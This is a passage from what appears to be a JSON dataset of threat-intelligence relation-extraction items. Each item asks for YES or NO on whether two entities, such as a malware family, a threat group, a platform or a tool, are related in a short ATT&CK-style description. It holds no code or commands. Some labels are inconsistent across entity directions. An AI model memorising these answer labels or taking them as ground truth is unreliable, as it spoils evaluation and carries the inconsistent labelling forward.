analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBandook\n### Target Entity: US\n### Text Passage:\nBandook is a commercially available RAT, written in Delphi and C++, that has been available since at least 2007. It has been used against government, financial, energy, healthcare, education, IT, and legal organizations in the US, South America, Europe, and Southeast Asia. Bandook has been used by Dark Caracal, as well as in a separate campaign referred to as \"Operation Manul\".\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBandook\n### Target Entity: South America\n### Text Passage:\nBandook is a commercially available RAT, written in Delphi and C++, that has been available since at least 2007. It has been used against government, financial, energy, healthcare, education, IT, and legal organizations in the US, South America, Europe, and Southeast Asia. Bandook has been used by Dark Caracal, as well as in a separate campaign referred to as \"Operation Manul\".\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBandook\n### Target Entity: Europe\n### Text Passage:\nBandook is a commercially available RAT, written in Delphi and C++, that has been available since at least 2007. It has been used against government, financial, energy, healthcare, education, IT, and legal organizations in the US, South America, Europe, and Southeast Asia. Bandook has been used by Dark Caracal, as well as in a separate campaign referred to as \"Operation Manul\".\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBandook\n### Target Entity: Southeast Asia\n### Text Passage:\nBandook is a commercially available RAT, written in Delphi and C++, that has been available since at least 2007. It has been used against government, financial, energy, healthcare, education, IT, and legal organizations in the US, South America, Europe, and Southeast Asia. Bandook has been used by Dark Caracal, as well as in a separate campaign referred to as \"Operation Manul\".\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDark Caracal\n### Target Entity: Bandook\n### Text Passage:\nBandook is a commercially available RAT, written in Delphi and C++, that has been available since at least 2007. It has been used against government, financial, energy, healthcare, education, IT, and legal organizations in the US, South America, Europe, and Southeast Asia. Bandook has been used by Dark Caracal, as well as in a separate campaign referred to as \"Operation Manul\".\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOperation Manul\n### Target Entity: Bandook\n### Text Passage:\nBandook is a commercially available RAT, written in Delphi and C++, that has been available since at least 2007. It has been used against government, financial, energy, healthcare, education, IT, and legal organizations in the US, South America, Europe, and Southeast Asia. Bandook has been used by Dark Caracal, as well as in a separate campaign referred to as \"Operation Manul\".\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOperation Manul\n### Target Entity: Dark Caracal\n### Text Passage:\nBandook is a commercially available RAT, written in Delphi and C++, that has been available since at least 2007. It has been used against government, financial, energy, healthcare, education, IT, and legal organizations in the US, South America, Europe, and Southeast Asia. Bandook has been used by Dark Caracal, as well as in a separate campaign referred to as \"Operation Manul\".\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFakeM\n### Target Entity: C2\n### Text Passage:\nFakeM C2 traffic attempts to evade detection by resembling data generated by legitimate messenger applications, such as MSN and Yahoo! messengers. Additionally, some variants of FakeM use modified SSL code for communications back to C2 servers, making SSL decryption ineffective.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFakeM\n### Target Entity: MSN\n### Text Passage:\nFakeM C2 traffic attempts to evade detection by resembling data generated by legitimate messenger applications, such as MSN and Yahoo! messengers. Additionally, some variants of FakeM use modified SSL code for communications back to C2 servers, making SSL decryption ineffective.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFakeM\n### Target Entity: Yahoo!\n### Text Passage:\nFakeM C2 traffic attempts to evade detection by resembling data generated by legitimate messenger applications, such as MSN and Yahoo! messengers. Additionally, some variants of FakeM use modified SSL code for communications back to C2 servers, making SSL decryption ineffective.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nHAWKBALL\n### Target Entity: C2\n### Text Passage:\nHAWKBALL has sent system information and files over the C2 channel.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nQakBot\n### Target Entity: netstat\n### Text Passage:\nQakBot can use netstat to enumerate current network connections.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDoki\n### Target Entity: DynDNS\n### Text Passage:\nDoki has used the DynDNS service and a DGA based on the Dogecoin blockchain to generate C2 domains.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDoki\n### Target Entity: C2\n### Text Passage:\nDoki has used the DynDNS service and a DGA based on the Dogecoin blockchain to generate C2 domains.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDoki\n### Target Entity: Dogecoin\n### Text Passage:\nDoki has used the DynDNS service and a DGA based on the Dogecoin blockchain to generate C2 domains.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNotPetya\n### Target Entity: wmic\n### Text Passage:\nNotPetya can use wmic to help propagate itself across a network.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nLazarus Group\n### Target Entity: Torisma\n### Text Passage:\nTorisma is a second stage implant designed for specialized monitoring that has been used by Lazarus Group. Torisma was discovered during an investigation into the 2020 Operation North Star campaign that targeted the defense sector.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n2020 Operation North Star\n### Target Entity: Lazarus Group\n### Text Passage:\nTorisma is a second stage implant designed for specialized monitoring that has been used by Lazarus Group. Torisma was discovered during an investigation into the 2020 Operation North Star campaign that targeted the defense sector.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT32\n### Target Entity: RotaJakiro\n### Text Passage:\nRotaJakiro is a 64-bit Linux backdoor used by APT32. First seen in 2018, it uses a plugin architecture to extend capabilities. RotaJakiro can determine it's permission level and execute according to access type (`root` or `user`).\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nRotaJakiro\n### Target Entity: Linux\n### Text Passage:\nRotaJakiro is a 64-bit Linux backdoor used by APT32. First seen in 2018, it uses a plugin architecture to extend capabilities. RotaJakiro can determine it's permission level and execute according to access type (`root` or `user`).\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT32\n### Target Entity: Linux\n### Text Passage:\nRotaJakiro is a 64-bit Linux backdoor used by APT32. First seen in 2018, it uses a plugin architecture to extend capabilities. RotaJakiro can determine it's permission level and execute according to access type (`root` or `user`).\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBUSHWALK\n### Target Entity: Perl\n### Text Passage:\nBUSHWALK is a web shell written in Perl that was inserted into the legitimate querymanifest.cgi file on compromised Ivanti Connect Secure VPNs during Cutting Edge.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCutting Edge\n### Target Entity: BUSHWALK\n### Text Passage:\nBUSHWALK is a web shell written in Perl that was inserted into the legitimate querymanifest.cgi file on compromised Ivanti Connect Secure VPNs during Cutting Edge.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBUSHWALK\n### Target Entity: Ivanti Connect Secure VPNs\n### Text Passage:\nBUSHWALK is a web shell written in Perl that was inserted into the legitimate querymanifest.cgi file on compromised Ivanti Connect Secure VPNs during Cutting Edge.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nShamoon\n### Target Entity: Windows\n### Text Passage:\nShamoon copies an executable payload to the target system by using SMB/Windows Admin Shares and then scheduling an unnamed task to execute the malware.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCALENDAR\n### Target Entity: Google Calendar\n### Text Passage:\nThe CALENDAR malware communicates through the use of events in Google Calendar.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nKEYPLUG\n### Target Entity: C++\n### Text Passage:\nKEYPLUG is a modular backdoor written in C++, with Windows and Linux variants, that has been used by APT41 since at least June 2021.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nKEYPLUG\n### Target Entity: Windows\n### Text Passage:\nKEYPLUG is a modular backdoor written in C++, with Windows and Linux variants, that has been used by APT41 since at least June 2021.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nKEYPLUG\n### Target Entity: Linux\n### Text Passage:\nKEYPLUG is a modular backdoor written in C++, with Windows and Linux variants, that has been used by APT41 since at least June 2021.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT41\n### Target Entity: KEYPLUG\n### Text Passage:\nKEYPLUG is a modular backdoor written in C++, with Windows and Linux variants, that has been used by APT41 since at least June 2021.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nThreat Group-3390\n### Target Entity: Pandora\n### Text Passage:\nPandora is a multistage kernel rootkit with backdoor functionality that has been in use by Threat Group-3390 since at least 2020.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTriton Safety Instrumented System Attack\n### Target Entity: Triton\n### Text Passage:\nTriton Safety Instrumented System Attack was a campaign employed by TEMP.Veles which leveraged the Triton malware framework against a petrochemical organization.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTriton Safety Instrumented System Attack\n### Target Entity: TEMP.Veles\n### Text Passage:\nTriton Safety Instrumented System Attack was a campaign employed by TEMP.Veles which leveraged the Triton malware framework against a petrochemical organization.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nRising Sun\n### Target Entity: Windows\n### Text Passage:\nRising Sun used dynamic API resolutions to various Windows APIs by leveraging LoadLibrary() and GetProcAddress().\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFlame\n### Target Entity: MS10-061\n### Text Passage:\nFlame can use MS10-061 to exploit a print spooler vulnerability in a remote system with a shared printer in order to move laterally.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAstaroth\n### Target Entity: ADS\n### Text Passage:\nAstaroth can abuse alternate data streams (ADS) to store content for malicious payloads.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT12\n### Target Entity: RIPTIDE RAT\n### Text Passage:\nAPT12 has used the RIPTIDE RAT, which communicates over HTTP with a payload encrypted with RC4.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSUGARUSH\n### Target Entity: C2\n### Text Passage:\nSUGARUSH is a small custom backdoor that can establish a reverse shell over TCP to a hard coded C2 address. SUGARUSH was first identified during analysis of UNC3890's C0010 campaign targeting Israeli companies, which began in late 2020.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nUNC3890\n### Target Entity: SUGARUSH\n### Text Passage:\nSUGARUSH is a small custom backdoor that can establish a reverse shell over TCP to a hard coded C2 address. SUGARUSH was first identified during analysis of UNC3890's C0010 campaign targeting Israeli companies, which began in late 2020.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nC0010 campaign\n### Target Entity: UNC3890\n### Text Passage:\nSUGARUSH is a small custom backdoor that can establish a reverse shell over TCP to a hard coded C2 address. SUGARUSH was first identified during analysis of UNC3890's C0010 campaign targeting Israeli companies, which began in late 2020.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nC0010 campaign\n### Target Entity: Israeli\n### Text Passage:\nSUGARUSH is a small custom backdoor that can establish a reverse shell over TCP to a hard coded C2 address. SUGARUSH was first identified during analysis of UNC3890's C0010 campaign targeting Israeli companies, which began in late 2020.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nC0010 campaign\n### Target Entity: C2\n### Text Passage:\nSUGARUSH is a small custom backdoor that can establish a reverse shell over TCP to a hard coded C2 address. SUGARUSH was first identified during analysis of UNC3890's C0010 campaign targeting Israeli companies, which began in late 2020.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFinal1stspy\n### Target Entity: C2\n### Text Passage:\nFinal1stspy uses HTTP for C2.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nRamsay\n### Target Entity: ipconfig\n### Text Passage:\nRamsay can use ipconfig and Arp to collect network configuration information, including routing information and ARP tables.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nRamsay\n### Target Entity: Arp\n### Text Passage:\nRamsay can use ipconfig and Arp to collect network configuration information, including routing information and ARP tables.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nipconfig\n### Target Entity: Ramsay\n### Text Passage:\nRamsay can use ipconfig and Arp to collect network configuration information, including routing information and ARP tables.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nIndustroyer\n### Target Entity: Tor\n### Text Passage:\nIndustroyer used Tor nodes for C2.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nIndustroyer\n### Target Entity: C2\n### Text Passage:\nIndustroyer used Tor nodes for C2.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTor\n### Target Entity: C2\n### Text Passage:\nIndustroyer used Tor nodes for C2.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCutting Edge\n### Target Entity: ZIPLINE\n### Text Passage:\nZIPLINE is a passive backdoor that was used during Cutting Edge on compromised Secure Connect VPNs for reverse shell and proxy functionality.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nZIPLINE\n### Target Entity: Secure Connect VPNs\n### Text Passage:\nZIPLINE is a passive backdoor that was used during Cutting Edge on compromised Secure Connect VPNs for reverse shell and proxy functionality.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOLDBAIT\n### Target Entity: C2\n### Text Passage:\nOLDBAIT can use SMTP for C2.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFlexiSpy\n### Target Entity: iOS\n### Text Passage:\nFlexiSpy is sophisticated surveillanceware for iOS and Android. Publicly-available, comprehensive analysis has only been found for the Android version.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFlexiSpy\n### Target Entity: Android\n### Text Passage:\nFlexiSpy is sophisticated surveillanceware for iOS and Android. Publicly-available, comprehensive analysis has only been found for the Android version.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nComRAT\n### Target Entity: Agent.btz\n### Text Passage:\nComRAT is a second stage implant suspected of being a descendant of Agent.btz and used by Turla. The first version of ComRAT was identified in 2007, but the tool has undergone substantial development for many years since.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTurla\n### Target Entity: ComRAT\n### Text Passage:\nComRAT is a second stage implant suspected of being a descendant of Agent.btz and used by Turla. The first version of ComRAT was identified in 2007, but the tool has undergone substantial development for many years since.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTurla\n### Target Entity: Agent.btz\n### Text Passage:\nComRAT is a second stage implant suspected of being a descendant of Agent.btz and used by Turla. The first version of ComRAT was identified in 2007, but the tool has undergone substantial development for many years since.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nHIDEDRV\n### Target Entity: explorer.exe\n### Text Passage:\nHIDEDRV injects a DLL for Downdelph into the explorer.exe process.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDowndelph\n### Target Entity: explorer.exe\n### Text Passage:\nHIDEDRV injects a DLL for Downdelph into the explorer.exe process.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCCBkdr\n### Target Entity: DGA for Fallback Channels\n### Text Passage:\nCCBkdr can use a DGA for Fallback Channels if communications with the primary command and control server are lost.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCCBkdr\n### Target Entity: command and control server\n### Text Passage:\nCCBkdr can use a DGA for Fallback Channels if communications with the primary command and control server are lost.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDGA for Fallback Channels\n### Target Entity: CCBkdr\n### Text Passage:\nCCBkdr can use a DGA for Fallback Channels if communications with the primary command and control server are lost.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and 